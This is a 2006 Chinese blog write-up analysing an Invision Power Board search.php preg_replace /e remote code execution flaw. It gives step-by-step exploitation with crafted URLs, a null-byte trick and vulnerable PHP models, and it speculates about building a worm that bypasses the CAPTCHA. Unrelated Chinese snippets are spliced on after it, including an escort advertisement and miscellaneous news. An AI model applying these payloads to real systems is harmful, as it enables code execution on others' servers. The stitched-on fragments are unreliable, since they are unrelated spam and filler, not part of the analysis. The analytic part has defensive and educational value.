ipb search.php 漏洞分析及思考Author:SuperHei_[At]_ph4nt0m.orgBlog:http://superhei.blogbus.com/Team:http://www.ph4nt0m.orgData: 2006-04-27###############简单分析################该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php行1258-1262:if ( $this->ipsclass->input['lastdate'] ){$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );}}通过变量input['lastdate']注入/e, $this->output注入shellcode。###############利用 *** ################注册一个用户,发个贴 内容[shellcode]如下:[superheixxxxxxxeval(phpinf0()); //注意最后的;和//之间有一空格然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]可以得到searchidhttp://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00###############分析讨论################1. 简单分析:该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php行1258-1262:if ( $this->ipsclass->input['lastdate'] ){$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );}}通过变量input['lastdate']注入/e, $this->output注入shellcode。这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为之一参数里正则表达试匹配后的值。归根结底我们提交的shellcode还是在第2个参数执行了。2. 注意最后的;和//之间有一空格这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//3.preg_replace存在null截断漏洞????我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:<?$a=$_GET[a];echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");?>我们直接提交http://127.0.0.1/test2.php?a=2出现错误:Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。4."lastdate=z|eval.*?%20//)%23e%00"的构造主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。5.worm的利用?还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......###############总结模型################1.直接在preg_replace第2个变量执行的模式:<?echo preg_replace("/test/e",$h,"jutst test");?>提交http://127.0.0.1/test/11/preg.php?h=phpinfo()实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:<?echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);?>提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]参考:r57的exp:http://www.milw0rm.com/exploits/1720更多资料:http://www.google.com
普通公民替黑客背锅会受到什么处罚 给予警告;拒不改正或者导致危害网络安全等后果的,处一万元以上十万元以下罚款,对直接负责的主管人员处五千元以上五万元以下罚款。成年人要为自己说的话负责任,网络不是法外之...
北京伴游群是真是假?商务接待守候伴游是什么的?【卫太群】,上海市是一座成功者的集中地,对商业服务女学妹的要求也是较为大的,今日大牌明星商务共享女学妹访梦,年纪上海市 女 23,婚姻生活:单身,文凭:普...
今年3月,甘肃酒泉的殷先生骑车途中被风筝线割伤,右手小拇指肌腱断裂,脖子上伤口长约16公分。他向风筝主人张女士索要5万赔偿遭到拒绝。张女士表示,殷先生态度很不好,赔偿金额不合理,只愿赔偿医药费,实在不...
对于爱买买买的妈友来说 每年的11月除了双十一购物节 最让人期待的就是 号称“港式黑五”、“国际剁手节”的 香港SOGO崇光百货周年庆了 由于折扣力度空前绝后 每年的SOGO店庆堪...
据论坛用户反映,百度有啊相关域名youa.cn和youa.net.cn已经被百度成功收购,编辑WHOIS域名信息得知,两个域名均已转入百度名下,具体成交日期不详,交易金额不详。 据了解,早在...
中国黑客之父是谁 1、郭盛华现东方联盟(原华盟)创始人,中国现代黑客教父,是业界人尽皆知的著名黑客人物。21世纪初,那是一个病毒木马肆无忌惮的年代,如熊猫烧香、灰鸽子。2、有趣的是,除了在辈份上有老中...